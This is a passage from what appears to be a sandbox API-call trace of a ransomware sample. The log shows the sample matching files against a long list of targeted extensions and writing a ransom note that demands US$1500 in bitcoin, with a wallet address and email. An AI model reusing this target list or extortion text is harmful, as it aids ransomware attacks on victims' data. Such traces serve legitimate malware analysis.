(pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.dbx") returned 0 [0125.554] lstrlenA (lpString="*.dbx") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.sql") returned 0 [0125.554] lstrlenA (lpString="*.sql") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mdb") returned 0 [0125.554] lstrlenA (lpString="*.mdb") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.fdb") returned 0 [0125.554] lstrlenA (lpString="*.fdb") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.wab") returned 0 [0125.554] lstrlenA (lpString="*.wab") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.dat") returned 0 [0125.554] lstrlenA (lpString="*.dat") returned 5 [0125.554] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.txt") returned 0 [0125.555] lstrlenA (lpString="*.txt") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.jpeg") returned 0 [0125.555] lstrlenA (lpString="*.jpeg") returned 6 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.jpg") returned 0 [0125.555] lstrlenA (lpString="*.jpg") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.png") returned 0 [0125.555] lstrlenA (lpString="*.png") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.php") returned 0 [0125.555] lstrlenA (lpString="*.php") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.cs") returned 0 [0125.555] lstrlenA (lpString="*.cs") returned 4 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.cpp") returned 0 [0125.555] lstrlenA (lpString="*.cpp") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.rar") returned 0 [0125.555] lstrlenA (lpString="*.rar") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.zip") returned 0 [0125.555] lstrlenA (lpString="*.zip") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.html") returned 0 [0125.555] lstrlenA (lpString="*.html") returned 6 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.htm") returned 0 [0125.555] lstrlenA (lpString="*.htm") returned 5 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.xlsx") returned 0 [0125.555] lstrlenA (lpString="*.xlsx") returned 6 [0125.555] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.xls") returned 0 [0125.556] lstrlenA (lpString="*.xls") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mp4") returned 0 [0125.556] lstrlenA (lpString="*.mp4") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.ppt") returned 0 [0125.556] lstrlenA (lpString="*.ppt") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.pptx") returned 0 [0125.556] lstrlenA (lpString="*.pptx") returned 6 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.doc") returned 0 [0125.556] lstrlenA (lpString="*.doc") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.dot") returned 0 [0125.556] lstrlenA (lpString="*.dot") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.docx") returned 0 [0125.556] lstrlenA (lpString="*.docx") returned 6 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.7z") returned 0 [0125.556] lstrlenA (lpString="*.7z") returned 4 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.tar") returned 0 [0125.556] lstrlenA (lpString="*.tar") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.bz2") returned 0 [0125.556] lstrlenA (lpString="*.bz2") returned 5 [0125.556] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.gz") returned 0 [0125.556] lstrlenA (lpString="*.gz") returned 4 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mkv") returned 0 [0125.557] lstrlenA (lpString="*.mkv") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.557] lstrlenA (lpString="*.eml") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.msg") returned 0 [0125.557] lstrlenA (lpString="*.msg") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.edb") returned 0 [0125.557] lstrlenA (lpString="*.edb") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.accdb") returned 0 [0125.557] lstrlenA (lpString="*.accdb") returned 7 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.odb") returned 0 [0125.557] lstrlenA (lpString="*.odb") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.java") returned 0 [0125.557] lstrlenA (lpString="*.java") returned 6 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.asm") returned 0 [0125.557] lstrlenA (lpString="*.asm") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.pfx") returned 0 [0125.557] lstrlenA (lpString="*.pfx") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.pem") returned 0 [0125.557] lstrlenA (lpString="*.pem") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.p12") returned 0 [0125.557] lstrlenA (lpString="*.p12") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.gpg") returned 0 [0125.557] lstrlenA (lpString="*.gpg") returned 5 [0125.557] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.vsd") returned 0 [0125.558] lstrlenA (lpString="*.vsd") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.odg") returned 0 [0125.558] lstrlenA (lpString="*.odg") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.raw") returned 0 [0125.558] lstrlenA (lpString="*.raw") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.nef") returned 0 [0125.558] lstrlenA (lpString="*.nef") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.svg") returned 0 [0125.558] lstrlenA (lpString="*.svg") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.psd") returned 0 [0125.558] lstrlenA (lpString="*.psd") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.vmx") returned 0 [0125.558] lstrlenA (lpString="*.vmx") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.vmdk") returned 0 [0125.558] lstrlenA (lpString="*.vmdk") returned 6 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.vdi") returned 0 [0125.558] lstrlenA (lpString="*.vdi") returned 5 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.lay6") returned 0 [0125.558] lstrlenA (lpString="*.lay6") returned 6 [0125.558] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mpeg") returned 0 [0125.558] lstrlenA (lpString="*.mpeg") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.djvu") returned 0 [0125.559] lstrlenA (lpString="*.djvu") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.tiff") returned 0 [0125.559] lstrlenA (lpString="*.tiff") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.backup") returned 0 [0125.559] lstrlenA (lpString="*.backup") returned 8 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.pdf") returned 0 [0125.559] lstrlenA (lpString="*.pdf") returned 5 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.cert") returned 0 [0125.559] lstrlenA (lpString="*.cert") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.docm") returned 0 [0125.559] lstrlenA (lpString="*.docm") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.xlsm") returned 0 [0125.559] lstrlenA (lpString="*.xlsm") returned 6 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.dwg") returned 0 [0125.559] lstrlenA (lpString="*.dwg") returned 5 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.nd") returned 0 [0125.559] lstrlenA (lpString="*.nd") returned 4 [0125.559] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.tlg") returned 0 [0125.559] lstrlenA (lpString="*.tlg") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.lgb") returned 0 [0125.560] lstrlenA (lpString="*.lgb") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mov") returned 0 [0125.560] lstrlenA (lpString="*.mov") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.xdw") returned 0 [0125.560] lstrlenA (lpString="*.xdw") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.ods") returned 0 [0125.560] lstrlenA (lpString="*.ods") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.wav") returned 0 [0125.560] lstrlenA (lpString="*.wav") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.mp3") returned 0 [0125.560] lstrlenA (lpString="*.mp3") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.aiff") returned 0 [0125.560] lstrlenA (lpString="*.aiff") returned 6 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.flac") returned 0 [0125.560] lstrlenA (lpString="*.flac") returned 6 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.m4a") returned 0 [0125.560] lstrlenA (lpString="*.m4a") returned 5 [0125.560] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioPlaybackDiagnostic.xml", pszSpec="*.csv") returned 0 [0125.561] lstrlenA (lpString="*.csv") returned 5 [0125.561] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb5dc4b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xeb5dc4b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xcd79c41f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x79d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AudioRecordingDiagnostic.xml", cAlternateFileName="")) returned 1 [0125.561] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\index\\" | out: lpString1="C:\\Windows\\diagnostics\\index\\") returned="C:\\Windows\\diagnostics\\index\\" [0125.561] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\index\\" | out: pszPath="C:\\Windows\\diagnostics\\index\\") returned="" [0125.561] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" [0125.561] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt")) returned 0xffffffff [0125.561] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\index\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\index\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.562] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.562] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.562] CloseHandle (hObject=0xffffffff) returned 0 [0125.562] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\index\\", lpString2="AudioRecordingDiagnostic.xml" | out: lpString1="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml") returned="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml" [0125.562] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.ems") returned 0 [0125.562] lstrlenA (lpString="*.ems") returned 5 [0125.562] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.db") returned 0 [0125.562] lstrlenA (lpString="*.db") returned 4 [0125.562] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.dbf") returned 0 [0125.562] lstrlenA (lpString="*.dbf") returned 5 [0125.562] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.myox") returned 0 [0125.562] lstrlenA (lpString="*.myox") returned 6 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.myo") returned 0 [0125.563] lstrlenA (lpString="*.myo") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbw") returned 0 [0125.563] lstrlenA (lpString="*.qbw") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbb") returned 0 [0125.563] lstrlenA (lpString="*.qbb") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbm") returned 0 [0125.563] lstrlenA (lpString="*.qbm") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbo") returned 0 [0125.563] lstrlenA (lpString="*.qbo") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbx") returned 0 [0125.563] lstrlenA (lpString="*.qbx") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qba") returned 0 [0125.563] lstrlenA (lpString="*.qba") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qby") returned 0 [0125.563] lstrlenA (lpString="*.qby") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qbj") returned 0 [0125.563] lstrlenA (lpString="*.qbj") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.ofx") returned 0 [0125.563] lstrlenA (lpString="*.ofx") returned 5 [0125.563] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.qif") returned 0 [0125.564] lstrlenA (lpString="*.qif") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mye") returned 0 [0125.564] lstrlenA (lpString="*.mye") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mbox") returned 0 [0125.564] lstrlenA (lpString="*.mbox") returned 6 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.564] lstrlenA (lpString="*.eml") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.pst") returned 0 [0125.564] lstrlenA (lpString="*.pst") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.ost") returned 0 [0125.564] lstrlenA (lpString="*.ost") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.idx") returned 0 [0125.564] lstrlenA (lpString="*.idx") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.dbx") returned 0 [0125.564] lstrlenA (lpString="*.dbx") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.sql") returned 0 [0125.564] lstrlenA (lpString="*.sql") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mdb") returned 0 [0125.564] lstrlenA (lpString="*.mdb") returned 5 [0125.564] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.fdb") returned 0 [0125.565] lstrlenA (lpString="*.fdb") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.wab") returned 0 [0125.565] lstrlenA (lpString="*.wab") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.dat") returned 0 [0125.565] lstrlenA (lpString="*.dat") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.txt") returned 0 [0125.565] lstrlenA (lpString="*.txt") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.jpeg") returned 0 [0125.565] lstrlenA (lpString="*.jpeg") returned 6 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.jpg") returned 0 [0125.565] lstrlenA (lpString="*.jpg") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.png") returned 0 [0125.565] lstrlenA (lpString="*.png") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.php") returned 0 [0125.565] lstrlenA (lpString="*.php") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.cs") returned 0 [0125.565] lstrlenA (lpString="*.cs") returned 4 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.cpp") returned 0 [0125.565] lstrlenA (lpString="*.cpp") returned 5 [0125.565] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.rar") returned 0 [0125.566] lstrlenA (lpString="*.rar") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.zip") returned 0 [0125.566] lstrlenA (lpString="*.zip") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.html") returned 0 [0125.566] lstrlenA (lpString="*.html") returned 6 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.htm") returned 0 [0125.566] lstrlenA (lpString="*.htm") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.xlsx") returned 0 [0125.566] lstrlenA (lpString="*.xlsx") returned 6 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.xls") returned 0 [0125.566] lstrlenA (lpString="*.xls") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mp4") returned 0 [0125.566] lstrlenA (lpString="*.mp4") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.ppt") returned 0 [0125.566] lstrlenA (lpString="*.ppt") returned 5 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.pptx") returned 0 [0125.566] lstrlenA (lpString="*.pptx") returned 6 [0125.566] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.doc") returned 0 [0125.566] lstrlenA (lpString="*.doc") returned 5 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.dot") returned 0 [0125.568] lstrlenA (lpString="*.dot") returned 5 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.docx") returned 0 [0125.568] lstrlenA (lpString="*.docx") returned 6 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.7z") returned 0 [0125.568] lstrlenA (lpString="*.7z") returned 4 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.tar") returned 0 [0125.568] lstrlenA (lpString="*.tar") returned 5 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.bz2") returned 0 [0125.568] lstrlenA (lpString="*.bz2") returned 5 [0125.568] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.gz") returned 0 [0125.569] lstrlenA (lpString="*.gz") returned 4 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.mkv") returned 0 [0125.569] lstrlenA (lpString="*.mkv") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.eml") returned 0 [0125.569] lstrlenA (lpString="*.eml") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.msg") returned 0 [0125.569] lstrlenA (lpString="*.msg") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.edb") returned 0 [0125.569] lstrlenA (lpString="*.edb") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.accdb") returned 0 [0125.569] lstrlenA (lpString="*.accdb") returned 7 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.odb") returned 0 [0125.569] lstrlenA (lpString="*.odb") returned 5 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.java") returned 0 [0125.569] lstrlenA (lpString="*.java") returned 6 [0125.569] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\index\\AudioRecordingDiagnostic.xml", pszSpec="*.asm") returned 0 [0125.569] lstrlenA (lpString="*.asm") returned 5 [0125.569] PathMatchSpecA 